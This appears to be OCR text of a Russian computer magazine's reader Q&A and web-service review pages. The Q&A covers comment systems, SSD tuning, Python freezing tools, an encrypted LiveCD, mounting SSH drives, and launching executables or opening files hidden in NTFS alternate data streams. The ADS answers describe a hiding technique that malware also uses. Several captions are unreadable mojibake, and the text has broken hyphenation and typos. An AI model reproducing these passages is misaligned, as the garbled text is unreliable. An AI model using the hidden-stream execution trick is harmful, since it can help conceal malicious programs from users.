Есть два критерия: возможность авто-
ризации через различные популярные 
сервисы (OpenID, Facebook, Twitter и т.д.) 
и система рейтинга/голосования для 
комментов. Какие есть варианты?

Adminer — отличная альтернатива phpMyAdmin

Код простого скрипта, проверяюще-
го поддержку удаленным сервером 
SSL
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A: Сами недавно столкнулись с такой 
проблемой, когда прикручивали новую 
систему комментариев для нашего сайта 
с анонсами диска (dvd.xakep.ru). Оказа-
лось, что проще всего решить проблему 
с помощью стороннего сервиса. Есть две 
конкурирующие системы комментирования: 
IntenseDebate (www.intensedebate.com) и 
DISUS Comments (disqus.com). Обе легко 
подключаются к блоггерским движкам 
вроде WordPress'а (с помощью плагина) и 
блог-сервисам, после чего предлагают ряд 
полезных фишек:
• древовидную система комментариев;
• систему голосования для комментов (нра-
вится/не нравится);
• аватары и профили пользователей;
• авторизацию через сторонние сервисы 
(OpenID, Twitter и т.д.).
Системы реализованы максимально просто: 
необходимо лишь завести аккаунт, подключить 
к движку плагин и прописать в нем логин и 
пароль для доступа. Если блог уже некоторое 
время существовал, необходимо импорти-
ровать старые комментарии. Вот здесь могут 
возникнуть некоторые сложности. В нашем 
случае пришлось разобраться с MySQL-базой, в 
которой почему-то оказались ошибки. До этого 
момента сценарий для импортирования ком-
ментариев Intense Debate банально зависал.

Q: Решил сделать апгрейд системы и 
вместо обычного SATA-винта поставил 
твердотельный накопитель SSD. При-
рост производительности, как говорит-
ся, на лицо и заметен невооруженным 
глазом даже без запуска бенчмарков. 
Но теперь я переживаю за надежность 
системы. Ведь у SSD ограничено коли-
чество циклов чтения-записи.
A: На самом деле опасаться нечего. Да, 
некоторые ограничения есть, но ресурс у 
любого твердотельного накопителя очень 
большой. Но чтобы не расходовать его по-
напрасну, необходимо выполнить некоторую 
настройку системы. Есть множество типовых 
рекомендаций по оптимальной настройке 
ОС для продления срока эффективной рабо-
ты SSD-накопителей. Несмотря на это, даже 
со знанием дела придется потратить немало 
времени на поиск и изменение соответству-
ющих параметров, разбросанных по разным 
местам интерфейса и реестра Windows. 
Чтобы облегчить по оптимизации, энтузиас-

ты и создали утилиту SSD Tweak Utility (www.
techspot.com/guides/246-ssd-performance-
tweak-utility). Прога обеспечивает быстрый 
доступ к параметрам службы индексации 
винды и службы восстановления системы. 
Также поддерживается включение сверх-
большого системного кэша (Use Large 
System Cache), отключение имен файлов в 
формате 8.3, отключение установки меток 
даты/времени для измененных файлов и 
отключение трассировки загрузки, а также 
всех видов дефрагментации. Помимо этого 
рекомендую также установить утилиту Intel 
SSD Toolbox (www.intel.com/go/ssdtoolbox), 
позволяющую управлять различными 
параметрами работы накопителя (если он 
произведен компанией Intel) и просмат-
ривать диагностические данные (для SSD 
любых производителей).

Q: Необходимо сделать из Python-
скрипта бинарник. Утилиты py2exe 
и py2app не подходят, потому как 
нужно кроссплатформенное решение. 
Подошел бы универсальный pyinstaller, 
но он не обновляется еще с прошлого 
года и не поддерживает свежие версии 
Python. 
A: Рекомендую попробовать cx_Freeze 
(cx-freeze.sourceforge.net). Проект активно 
развивается (в отличие от pyinstaller), и 
отлично справляется с конвертированием 
скриптов в бинарники как для Windows, так 
и для Linux-платформы. На официальном 
сайте есть инсталляторы для Windows и 
CentOS -платформ, а также исходники. Важ-
но выбрать сборку cx_Freeze, соответствую-
щую установленной версии интерпретатора 
Python.

Q: Есть ли такой LiveCD-дистрибутив, 
который бы можно было записать 
на флешку (и с нее, соответственно, 
загружаться), и который бы шифро-
вал все рабочие файлы? А то как-то 
страшно потерять флешку со всеми 
своими рабочими документами. При 
этом постоянно приходится работать на 
чужих компьютерах, и без Linux’а мне не 
обойтись.
A: Можно попробовать использовать 
CloudUSB (www.cloudusb.net). Это основан-
ный на последней версии Ubuntu дистри-
бутив, использующий файловую систему 
EncFS, которая прозрачно шифрует данные 
с помощью AES и BlowFish. А чтобы не оста-
вить свои файлы в каком-нибудь компьюте-
ре в универе (и, скорее всего, безвозвратно 
их потерять), CloudUSB автоматически 
заливает их через инет в облачное (отсюда и 
название дистриба) хранилище Dropbox. Тут 
надо отметить, что в «облаке» данные также 
хранятся в криптованном виде. 

Q: Есть задача: подключить данные с 
удаленного сервера (есть доступ по SSH) 

к машине под Windows. Желательно, 
чтобы файлы отображались в системе в 
виде отдельного логического диска. Как 
решить задачку?
A: Одной из самых продвинутых программ 
является ExpanDrive (www.expandrive.com), 
которая раньше называлась SFTP Drive. 
Помимо этого можно использовать Dokan 
SSHFS (www.dokan-dev.net). Можно также 
попробовать AnyClient, который являет-
ся кроссплатформенным клиентом для 
протоколов FTP/S, SFTP и WebDAV/S. А при 
небольшой настройке винды удаленную 
файловую систему можно смонтировать и с 
помощью обычного PyTTY. Для этого придет-
ся выполнить несколько шагов, описанных 
в подробной инструкции (www.damtp.cam.
ac.uk/user/jp107/xp-remote/ssh-map).

Q: Как запустить exe-бинарник, который 
находится в альтернативном потоке 
NTFS (ADS)?
A: Для запуска исполняемых файлов 
необходимо использовать команду «start» 
или «wmic processs call create», указав в 
качестве параметра полный путь до бинар-
ника, который находится в альтернативном 
потоке NFS. 

Q: Спрятал некоторые документы в 
альтернативных потоках NTFS. Но стол-
кнулся с проблемой: не все приложения 
с ними совместимы. Скажем, из такого 
потока никак не открыть doc-документ 
или txt-файл с помощью Word’а. Есть 
способ обойти это ограничение?
A: Под Windows 7 есть отличный вариант — 
использовать символические ссылки. Для 
эксперимента попробуем создать файл в 
альтернативном потоке NTFS:

C:\temp>echo tst > maindoc.txt

C:\temp>echo ads > maindoc.txt:ads.

txt

Теперь открываем файл «c:\temp\maindoc.
txt:ads.txt» Word’ом... ничего не выходит. 
Что ж, придется создавать симлинк:

C:\temp>mklink txtfile c:\temp\

maindoc.txt:ads.txt

symbolic link created for txtfile 

<<===>> c:\temp\maindoc.txt:ads.

txt

Теперь в качестве файла для открытия 
указываем не полный путь, а симлинк 
(c:\temp\txtfile), и убеждаемся, что Word 
отлично открывает документ. Возвращаясь 
к предыдущему вопросу, хочу заметить, что 
символические ссылки легко могут быть 
использованы и для запуска exe’шников. В 
этом случае уже не надо использовать вспо-
могательные команды вроде «start». Но тут, 
опять же, не надо забывать, что символичес-
кие ссылки появились только в Windows 7.z
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THE HTML5 TEST
www.html5test.com

 В прошлом номере мы рассказывали о тех долгожданных новшествах 
и уже реализованных технологиях, которые войдут в HTML5. Некоторые 
прогрессивные онлайн-сервисы уже активно внедряют существующие 
наработки вроде веб-сокетов, тегов canvas и video, хранилищ storage (это 
продвинутые кукисы), работу с файлами. Но работать все эти фишки будут 
только в том случае, если их поддерживает твой Firefox, Opera, короче 
говоря, браузер. Убедиться в этом несложно. Для экспресс-теста был 
разработан специальный сервис-бенчмарк, который проверяет подде-
ржку той или иной технологии браузером, проставляет баллы и выводит 
обобщающий рейтинг. 300 — максимальное количество баллов, которое 
можно набрать. Рейтинг моего Google Chrome под винду — 217. 

 Кнопка Like из Facebook’а, которую можно интегрировать в любое 
место сайта, прочно закрепилась на просторах инета. С ее помощью 
посетитель может отметить понравившийся пост в блоге или новость 
на сайте, добавив ей голос и не оставляя детального комментария. 
Это удобно и быстро: люди (тут берем в расчет огромную аудиторию 
социальной сети) этим активно пользуются. Предприимчивые создатели 
сервиса Flattr пошли дальше. Их кнопка «flattr» позволяет не просто 
проголосовать за какой-то пост, но и сделать «donate» для его автора, 
то есть поблагодарить его финансово. Речь идет о совсем крохотных 
суммах. Это микроплатежи, но расчет идет на большое количество 
«поблагодаривших». Для создателя контента, программного проекта и 
чего-либо еще это способ заработать, а для благодарных потребителей 
— способ материально поддержать работу человека.

FLATTR 
www.flattr.com

UNITS

HTTP://WWW2

Äëÿ ìîíåòèçàöèè êîíòåíòà è ëþáîãî 
ïðîåêòà, ïðîãðåññèâíûé ñïîñîá ñäåëàòü 
«donate»

Òåñò íà ïîääåðæêó 
òåõíîëîãèé HTML5 äëÿ 
òâîåãî áðàóçåðà

Êîëëåêòèâíîå îáñóæäåíèå è 
ðåäàêòèðîâàíèå ôîòîãðàôèé, 
äèçàéí-ìàêåòîâ, èíòåðôåéñîâ

 Все мы очень любим пошаговые инструкции. Особенно если они 
выполнены в стиле How-to. Как собрать считыватель RFID-меток? Как 
восстановить загнутые ножки у процессора? Как приготовить пиццу? 
Как сделать водонепроницаемый контейнер для фотоаппарата из 
подручных средств? Как превратить смартфон в прибор для измерения 
времени круга езды на картинге? Как показать эффектный карточный 
фокус на публике? Как за пять минут спаять сигнализацию, фиксирую-
щую лазером открытие-закрытие двери в комнате? Тысячи иллюстри-
рованных How-to на самые разные, подчас совершенно безбашенные 
темы собраны на ресурсе Instructables. Рекомендую!

INSTRUCTABLES
www.Instructables.com

Ïîäáîðêà How-to-
èíñòðóêöèé ïî ñîçäàíèþ 
ðàçíûõ «ïîëåçíîñòåé» îò 
òûñÿ÷ ëþäåé ïî âñåìó ìèðó

THECOMMENTOR 
www.thecommentor.com

 Нам в команде ][ частенько приходится обсуждать самый разный 
графический материал: обложку нового номера, верстку какой-нибудь 
статьи, наброски интерфейсов для наших внутренних проектов. Могу 
сказать тебе наверняка: фиксировать свои соображения и замечания 
в текстовом виде, пытаясь объяснить, о какой именно части изображе-
ния идет речь — совершенно неблагодарное занятие. И вот на днях мы 
наткнулись на совершенно чумовой сервис для коллективного обсуж-
дения изображений. Ты просто заливаешь файл в любом формате (JPG, 
GIF, PNG, TIFF, PSD, BMP, PDF), расшариваешь его для всех желающих, а 
потом прямо через браузер делаешь плашки с комментариями, рису-
ешь новые элементы, зачеркиваешь ненужные элементы и выделяешь 
ошибки. Сервис платный, но есть 15 дней триального срока, и этим можно 
вполне умело пользоваться :).



>> coding

3 самых активных участника фокус-группы получат 
в этом месяце денежные призы от QIWI (КИВИ): 
за первое место — 3 000 руб, за второе — 2 000 
руб и за третье — 1 000 руб на QIWI Кошелек или в 
виде предоплаченной карты QIWI Visa Virtual *.

* С помощью виртуальной карты QIWI Visa Virtual 
можно расплачиваться на любом интернет-сайте, 
где принимаются обычные пластиковые карты Visa. 
Оформить виртуальную карту можно в любом из 100 
000 платежных терминалов QIWI (КИВИ), через QIWI 
Кошелек на сайте www.qiwi.ru и другими способами.

ÔÎÊÓÑ-ÃÐÓÏÏÀ
Õî÷åøü íå òîëüêî ÷èòàòü æóðíàë, íî è âìåñòå ñ íàìè äåëàòü åãî ëó÷øå? 
Óêàçàòü íà íàøè ôåéëû èëè âûðàçèòü ðåñïåêò çà ñäåëàííóþ ðàáîòó? 
Ýòî ëåãêî. Âñòóïàé â ðÿäû íàøåé ôîêóñ-ãðóïïû è âûèãðûâàé êëàñíûå ïîäàðêè 
îò æóðíàëà è íàøèõ ïàðòíåðîâ.
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